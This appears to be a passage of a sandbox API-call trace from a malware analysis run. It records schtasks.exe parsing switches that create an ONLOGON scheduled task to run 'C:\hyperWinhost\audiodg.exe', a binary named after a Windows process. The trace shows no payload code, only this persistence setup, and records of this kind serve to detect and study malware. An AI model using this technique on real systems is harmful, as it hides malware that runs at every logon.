2 [0070.395] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.395] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ru|") returned 4 [0070.395] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.395] lstrlenW (lpString="|ru|") returned 4 [0070.395] lstrlenW (lpString="|sc|") returned 4 [0070.395] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0070.395] SetLastError (dwErrCode=0x490) [0070.395] lstrlenW (lpString="rp") returned 2 [0070.395] lstrlenW (lpString="rp") returned 2 [0070.395] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.395] lstrlenW (lpString="sc") returned 2 [0070.395] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.395] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rp|") returned 4 [0070.396] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.396] lstrlenW (lpString="|rp|") returned 4 [0070.396] lstrlenW (lpString="|sc|") returned 4 [0070.396] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0070.396] SetLastError (dwErrCode=0x490) [0070.396] lstrlenW (lpString="sc") returned 2 [0070.396] lstrlenW (lpString="sc") returned 2 [0070.396] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.396] lstrlenW (lpString="sc") returned 2 [0070.396] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.396] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.396] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.396] lstrlenW (lpString="|sc|") returned 4 [0070.396] lstrlenW (lpString="|sc|") returned 4 [0070.396] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0070.396] SetLastError (dwErrCode=0x0) [0070.396] SetLastError (dwErrCode=0x0) [0070.396] lstrlenW (lpString="ONLOGON") returned 7 [0070.396] lstrlenW (lpString="-/") returned 2 [0070.396] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0070.396] SetLastError (dwErrCode=0x490) [0070.396] SetLastError (dwErrCode=0x490) [0070.396] SetLastError (dwErrCode=0x0) [0070.396] lstrlenW (lpString="ONLOGON") returned 7 [0070.396] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0070.396] SetLastError (dwErrCode=0x490) [0070.396] SetLastError (dwErrCode=0x0) [0070.396] GetProcessHeap () returned 0x310000 [0070.396] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d660 [0070.397] _memicmp (_Buf1=0x32d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.397] lstrlenW (lpString="ONLOGON") returned 7 [0070.397] GetProcessHeap () returned 0x310000 [0070.397] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d680 [0070.397] lstrlenW (lpString="ONLOGON") returned 7 [0070.397] lstrlenW (lpString=" \x09") returned 2 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0070.397] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0070.397] GetLastError () returned 0x0 [0070.397] lstrlenW (lpString="ONLOGON") returned 7 [0070.397] lstrlenW (lpString="ONLOGON") returned 7 [0070.397] SetLastError (dwErrCode=0x0) [0070.397] SetLastError (dwErrCode=0x0) [0070.397] lstrlenW (lpString="/tr") returned 3 [0070.397] lstrlenW (lpString="-/") returned 2 [0070.397] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.397] lstrlenW (lpString="create") returned 6 [0070.397] lstrlenW (lpString="create") returned 6 [0070.397] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.397] lstrlenW (lpString="tr") returned 2 [0070.397] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.397] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.397] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.397] lstrlenW (lpString="|create|") returned 8 [0070.397] lstrlenW (lpString="|tr|") returned 4 [0070.397] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0070.398] SetLastError (dwErrCode=0x490) [0070.398] lstrlenW (lpString="?") returned 1 [0070.398] lstrlenW (lpString="?") returned 1 [0070.398] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] lstrlenW (lpString="tr") returned 2 [0070.398] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|?|") returned 3 [0070.398] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.398] lstrlenW (lpString="|?|") returned 3 [0070.398] lstrlenW (lpString="|tr|") returned 4 [0070.398] SetLastError (dwErrCode=0x490) [0070.398] lstrlenW (lpString="s") returned 1 [0070.398] lstrlenW (lpString="s") returned 1 [0070.398] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] lstrlenW (lpString="tr") returned 2 [0070.398] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|s|") returned 3 [0070.398] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.398] lstrlenW (lpString="|s|") returned 3 [0070.398] lstrlenW (lpString="|tr|") returned 4 [0070.398] SetLastError (dwErrCode=0x490) [0070.398] lstrlenW (lpString="u") returned 1 [0070.398] lstrlenW (lpString="u") returned 1 [0070.398] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] lstrlenW (lpString="tr") returned 2 [0070.398] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.398] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|u|") returned 3 [0070.398] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.398] lstrlenW (lpString="|u|") returned 3 [0070.398] lstrlenW (lpString="|tr|") returned 4 [0070.398] SetLastError (dwErrCode=0x490) [0070.399] lstrlenW (lpString="p") returned 1 [0070.399] lstrlenW (lpString="p") returned 1 [0070.399] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] lstrlenW (lpString="tr") returned 2 [0070.399] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|p|") returned 3 [0070.399] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.399] lstrlenW (lpString="|p|") returned 3 [0070.399] lstrlenW (lpString="|tr|") returned 4 [0070.399] SetLastError (dwErrCode=0x490) [0070.399] lstrlenW (lpString="ru") returned 2 [0070.399] lstrlenW (lpString="ru") returned 2 [0070.399] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] lstrlenW (lpString="tr") returned 2 [0070.399] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ru|") returned 4 [0070.399] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.399] lstrlenW (lpString="|ru|") returned 4 [0070.399] lstrlenW (lpString="|tr|") returned 4 [0070.399] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0070.399] SetLastError (dwErrCode=0x490) [0070.399] lstrlenW (lpString="rp") returned 2 [0070.399] lstrlenW (lpString="rp") returned 2 [0070.399] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] lstrlenW (lpString="tr") returned 2 [0070.399] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.399] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rp|") returned 4 [0070.399] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.399] lstrlenW (lpString="|rp|") returned 4 [0070.399] lstrlenW (lpString="|tr|") returned 4 [0070.400] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0070.400] SetLastError (dwErrCode=0x490) [0070.400] lstrlenW (lpString="sc") returned 2 [0070.400] lstrlenW (lpString="sc") returned 2 [0070.400] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.400] lstrlenW (lpString="tr") returned 2 [0070.400] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.400] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.400] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.400] lstrlenW (lpString="|sc|") returned 4 [0070.400] lstrlenW (lpString="|tr|") returned 4 [0070.400] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0070.400] SetLastError (dwErrCode=0x490) [0070.400] lstrlenW (lpString="mo") returned 2 [0070.400] lstrlenW (lpString="mo") returned 2 [0070.400] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.400] lstrlenW (lpString="tr") returned 2 [0070.400] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.400] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|mo|") returned 4 [0070.400] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.400] lstrlenW (lpString="|mo|") returned 4 [0070.400] lstrlenW (lpString="|tr|") returned 4 [0070.400] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0070.400] SetLastError (dwErrCode=0x490) [0070.400] lstrlenW (lpString="d") returned 1 [0070.400] lstrlenW (lpString="d") returned 1 [0070.400] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.400] lstrlenW (lpString="tr") returned 2 [0070.400] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|d|") returned 3 [0070.401] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.401] lstrlenW (lpString="|d|") returned 3 [0070.401] lstrlenW (lpString="|tr|") returned 4 [0070.401] SetLastError (dwErrCode=0x490) [0070.401] lstrlenW (lpString="m") returned 1 [0070.401] lstrlenW (lpString="m") returned 1 [0070.401] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] lstrlenW (lpString="tr") returned 2 [0070.401] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|m|") returned 3 [0070.401] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.401] lstrlenW (lpString="|m|") returned 3 [0070.401] lstrlenW (lpString="|tr|") returned 4 [0070.401] SetLastError (dwErrCode=0x490) [0070.401] lstrlenW (lpString="i") returned 1 [0070.401] lstrlenW (lpString="i") returned 1 [0070.401] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] lstrlenW (lpString="tr") returned 2 [0070.401] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|i|") returned 3 [0070.401] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.401] lstrlenW (lpString="|i|") returned 3 [0070.401] lstrlenW (lpString="|tr|") returned 4 [0070.401] SetLastError (dwErrCode=0x490) [0070.401] lstrlenW (lpString="tn") returned 2 [0070.401] lstrlenW (lpString="tn") returned 2 [0070.401] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.401] lstrlenW (lpString="tr") returned 2 [0070.401] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.402] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.402] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.402] lstrlenW (lpString="|tn|") returned 4 [0070.402] lstrlenW (lpString="|tr|") returned 4 [0070.402] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0070.402] SetLastError (dwErrCode=0x490) [0070.402] lstrlenW (lpString="tr") returned 2 [0070.402] lstrlenW (lpString="tr") returned 2 [0070.402] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.402] lstrlenW (lpString="tr") returned 2 [0070.402] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.402] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.402] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.402] lstrlenW (lpString="|tr|") returned 4 [0070.402] lstrlenW (lpString="|tr|") returned 4 [0070.402] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0070.402] SetLastError (dwErrCode=0x0) [0070.402] SetLastError (dwErrCode=0x0) [0070.402] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.402] lstrlenW (lpString="-/") returned 2 [0070.402] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0070.402] SetLastError (dwErrCode=0x490) [0070.402] SetLastError (dwErrCode=0x490) [0070.402] SetLastError (dwErrCode=0x0) [0070.402] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.402] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0070.402] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.402] _memicmp (_Buf1=0x32c3f0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.402] _memicmp (_Buf1=0x32d600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.402] SetLastError (dwErrCode=0x7a) [0070.402] SetLastError (dwErrCode=0x0) [0070.402] SetLastError (dwErrCode=0x0) [0070.403] lstrlenW (lpString="'C") returned 2 [0070.403] lstrlenW (lpString="-/") returned 2 [0070.403] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0070.403] SetLastError (dwErrCode=0x490) [0070.403] SetLastError (dwErrCode=0x490) [0070.403] SetLastError (dwErrCode=0x0) [0070.403] _memicmp (_Buf1=0x32d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.403] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.403] GetProcessHeap () returned 0x310000 [0070.403] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680) returned 1 [0070.403] GetProcessHeap () returned 0x310000 [0070.403] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32d680, Size=0x3c) returned 0x329480 [0070.403] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.403] lstrlenW (lpString=" \x09") returned 2 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0070.403] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0070.404] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0070.404] GetLastError () returned 0x0 [0070.404] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.404] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.404] SetLastError (dwErrCode=0x0) [0070.404] SetLastError (dwErrCode=0x0) [0070.404] lstrlenW (lpString="/rl") returned 3 [0070.404] lstrlenW (lpString="-/") returned 2 [0070.404] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.404] lstrlenW (lpString="create") returned 6 [0070.404] lstrlenW (lpString="create") returned 6 [0070.404] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.404] lstrlenW (lpString="rl") returned 2 [0070.404] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.404] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.404] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.404] lstrlenW (lpString="|create|") returned 8 [0070.404] lstrlenW (lpString="|rl|") returned 4 [0070.404] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0070.404] SetLastError (dwErrCode=0x490) [0070.404] lstrlenW (lpString="?") returned 1 [0070.404] lstrlenW (lpString="?") returned 1 [0070.404] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.404] lstrlenW (lpString="rl") returned 2 [0070.404] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|?|") returned 3 [0070.405] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.405] lstrlenW (lpString="|?|") returned 3 [0070.405] lstrlenW (lpString="|rl|") returned 4 [0070.405] SetLastError (dwErrCode=0x490) [0070.405] lstrlenW (lpString="s") returned 1 [0070.405] lstrlenW (lpString="s") returned 1 [0070.405] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] lstrlenW (lpString="rl") returned 2 [0070.405] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|s|") returned 3 [0070.405] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.405] lstrlenW (lpString="|s|") returned 3 [0070.405] lstrlenW (lpString="|rl|") returned 4 [0070.405] SetLastError (dwErrCode=0x490) [0070.405] lstrlenW (lpString="u") returned 1 [0070.405] lstrlenW (lpString="u") returned 1 [0070.405] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] lstrlenW (lpString="rl") returned 2 [0070.405] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|u|") returned 3 [0070.405] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.405] lstrlenW (lpString="|u|") returned 3 [0070.405] lstrlenW (lpString="|rl|") returned 4 [0070.405] SetLastError (dwErrCode=0x490) [0070.405] lstrlenW (lpString="p") returned 1 [0070.405] lstrlenW (lpString="p") returned 1 [0070.405] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.405] lstrlenW (lpString="rl") returned 2 [0070.406] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.406] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|p|") returned 3 [0070.406] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.406] lstrlenW (lpString="|p|") returned 3 [0070.406] lstrlenW (lpString="|rl|") returned 4 [0070.406] SetLastError (dwErrCode=0x490) [0070.406] lstrlenW (lpString="ru") returned 2 [0070.406] lstrlenW (lpString="ru") returned 2 [0070.406] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.406] lstrlenW (lpString="rl") returned 2 [0070.406] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.406] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ru|") returned 4 [0070.406] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.406] lstrlenW (lpString="|ru|") returned 4 [0070.406] lstrlenW (lpString="|rl|") returned 4 [0070.406] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0070.406] SetLastError (dwErrCode=0x490) [0070.406] lstrlenW (lpString="rp") returned 2 [0070.406] lstrlenW (lpString="rp") returned 2 [0070.406] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.406] lstrlenW (lpString="rl") returned 2 [0070.406] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.406] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rp|") returned 4 [0070.406] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.406] lstrlenW (lpString="|rp|") returned 4 [0070.406] lstrlenW (lpString="|rl|") returned 4 [0070.406] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0070.406] SetLastError (dwErrCode=0x490) [0070.406] lstrlenW (lpString="sc") returned 2 [0070.406] lstrlenW (lpString="sc") returned 2 [0070.406] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] lstrlenW (lpString="rl") returned 2 [0070.407] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.407] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.407] lstrlenW (lpString="|sc|") returned 4 [0070.407] lstrlenW (lpString="|rl|") returned 4 [0070.407] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0070.407] SetLastError (dwErrCode=0x490) [0070.407] lstrlenW (lpString="mo") returned 2 [0070.407] lstrlenW (lpString="mo") returned 2 [0070.407] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] lstrlenW (lpString="rl") returned 2 [0070.407] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|mo|") returned 4 [0070.407] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.407] lstrlenW (lpString="|mo|") returned 4 [0070.407] lstrlenW (lpString="|rl|") returned 4 [0070.407] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0070.407] SetLastError (dwErrCode=0x490) 